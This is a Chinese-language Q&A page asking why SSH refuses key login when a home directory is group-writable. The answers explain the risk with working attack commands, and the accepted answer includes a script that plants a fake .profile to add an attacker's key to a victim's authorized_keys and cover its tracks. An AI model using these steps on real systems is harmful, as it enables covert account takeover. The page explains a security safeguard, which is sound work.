AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / unix / 问题 / 755724
Accepted
Matthias Ronge
Matthias Ronge
Asked: 2023-09-04 22:10:55 +0800 CST2023-09-04 22:10:55 +0800 CST 2023-09-04 22:10:55 +0800 CST

如果组的主文件夹可写,为什么使用公钥-私钥的 SSH 会存在安全风险?

  • 772

我花了很长时间试图弄清楚为什么使用公钥-私钥的 SSH 在两台服务器之间不起作用。事实证明,原因是用户的主目录对于我尝试连接的服务器上的组是可写的。

当用户文件夹可写入组时与不可写入组时相比,SSH 拒绝公钥-私钥登录会增加什么安全风险?我了解 .ssh 文件夹本身以及其中的文件的预期限制的基本原理。但是,为什么主目录本身存在危险呢?什么星座可以做出这样危险的事?

ssh
  • 2 2 个回答
  • 83 Views

2 个回答

  • Voted
  1. muru
    2023-09-04T22:29:03+08:002023-09-04T22:29:03+08:00

    如果主目录是组可写的,则该组中的任何用户都可以修改.ssh目录本身,例如:

    mv ~some_user/.ssh /who/cares/where
    mkdir ~some_user/.ssh
    cp /my/public/key ~some_user/.ssh/authorized_keys
    

    并获得对该用户帐户的访问权限。

    • 4
  2. Best Answer
    roaima
    2023-09-05T04:33:41+08:002023-09-05T04:33:41+08:00

    如果/home或.ssh目录的任何其他父目录是可写的,我可以将直接子目录移开,至少导致拒绝服务:

    ls -ld /home
    drwxrwxrwx 9 root root 20480 Sep  4 21:28 /home
    
    mv /home/victim /home/casualty
    

    现在victim无法使用 ssh 密钥登录。(不过,密码仍然有效。)


    让我们假设“受害者”拥有有效的密码,并且可以将密钥失败ssh视为其中之一。特别是(我们希望)这不会是一个可重现的问题。在这种情况下,我们可以创建一个安静的权限升级:

    # Save the original directory and contents
    mv /home/victim /home/casualty
    mkdir -m777 /home/victim
    
    # Create a fake profile to place and then hide the evidence
    cat <<'EOF' >/home/victim/.profile
    
    if [ -r /tmp/.id.pub ] && [ -d /home/casualty ]
    then
        # Not really very nice
        mkdir -m700 -p /home/casualty/.ssh
        cat /tmp/.id.pub >>/home/casualty/.ssh/authorized_keys
    fi
    
    mv /home/victim /home/victim.nomore
    mv /home/casualty /home/victim
    
    if [ "$SHELL" = /bin/bash ]
    then
        if [ -f /home/victim/.bash_profile ]
        then
            . /home/victim/.bash_profile
        elif [ -f /home/victim/.profile ]
        then
            . /home/victim/.profile
        fi
    else
        [ -f /home/victim/.profile ] && . /home/victim/.profile
    fi
    
    rm -rf /home/victim.nomore
    EOF
    

    最后,将您自己的公钥ssh放入/tmp/.id.pub并等待受害者登录。一旦他们完成,您应该发现您自己的ssh密钥已添加到他们的authorized_keys列表中,您可以以他们的身份登录:

     ssh victim@remoteHost
    

    为了获得奖励积分,您可以扩展攻击以捕获文件上的原始日期戳authorized_keys,并在添加您自己的密钥后恢复它(请参阅 和stat --format '%Y')touch --date。


    如果情况只是用户的主目录本身是可写的,那么据我所知ssh,只会针对密钥本身生成拒绝服务:

    cd ~victim
    mv .ssh .ssh.casualty
    

    要么就这样保留,以便ssh密钥不再可用,或者尝试添加新密钥:

    mkdir -m755 .ssh
    cat /tmp/.id.pub .ssh.casualty/authorized_keys >.ssh/authorized_keys
    

    在第二种情况下ssh,反对,攻击失败:

    Sep  5 15:16:51 pi sshd[16695]: Authentication refused: bad ownership or modes for directory /home/victim
    

    但是,所有权和权限仍然会受到检查.ssh,.ssh/authorized_keys因此您的情况实际上并没有更好。

    • 2

相关问题

  • 为什么 ssh 实用程序被视为 pty?

  • Auto-SSH 手动工作,但不在后台工作

  • 远程运行 X 应用程序,在远程主机上运行 GUI [关闭]

  • rsync 端口 22 和 873 使用

  • SCP突然中止:管道损坏,消息验证码不正确

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    模块 i915 可能缺少固件 /lib/firmware/i915/*

    • 3 个回答
  • Marko Smith

    无法获取 jessie backports 存储库

    • 4 个回答
  • Marko Smith

    如何将 GPG 私钥和公钥导出到文件

    • 4 个回答
  • Marko Smith

    我们如何运行存储在变量中的命令?

    • 5 个回答
  • Marko Smith

    如何配置 systemd-resolved 和 systemd-networkd 以使用本地 DNS 服务器来解析本地域和远程 DNS 服务器来解析远程域?

    • 3 个回答
  • Marko Smith

    dist-upgrade 后 Kali Linux 中的 apt-get update 错误 [重复]

    • 2 个回答
  • Marko Smith

    如何从 systemctl 服务日志中查看最新的 x 行

    • 5 个回答
  • Marko Smith

    Nano - 跳转到文件末尾

    • 8 个回答
  • Marko Smith

    grub 错误:你需要先加载内核

    • 4 个回答
  • Marko Smith

    如何下载软件包而不是使用 apt-get 命令安装它?

    • 7 个回答
  • Martin Hope
    user12345 无法获取 jessie backports 存储库 2019-03-27 04:39:28 +0800 CST
  • Martin Hope
    Carl 为什么大多数 systemd 示例都包含 WantedBy=multi-user.target? 2019-03-15 11:49:25 +0800 CST
  • Martin Hope
    rocky 如何将 GPG 私钥和公钥导出到文件 2018-11-16 05:36:15 +0800 CST
  • Martin Hope
    Evan Carroll systemctl 状态显示:“状态:降级” 2018-06-03 18:48:17 +0800 CST
  • Martin Hope
    Tim 我们如何运行存储在变量中的命令? 2018-05-21 04:46:29 +0800 CST
  • Martin Hope
    Ankur S 为什么 /dev/null 是一个文件?为什么它的功能不作为一个简单的程序来实现? 2018-04-17 07:28:04 +0800 CST
  • Martin Hope
    user3191334 如何从 systemctl 服务日志中查看最新的 x 行 2018-02-07 00:14:16 +0800 CST
  • Martin Hope
    Marko Pacak Nano - 跳转到文件末尾 2018-02-01 01:53:03 +0800 CST
  • Martin Hope
    Kidburla 为什么真假这么大? 2018-01-26 12:14:47 +0800 CST
  • Martin Hope
    Christos Baziotis 在一个巨大的(70GB)、一行、文本文件中替换字符串 2017-12-30 06:58:33 +0800 CST

热门标签

linux bash debian shell-script text-processing ubuntu centos shell awk ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve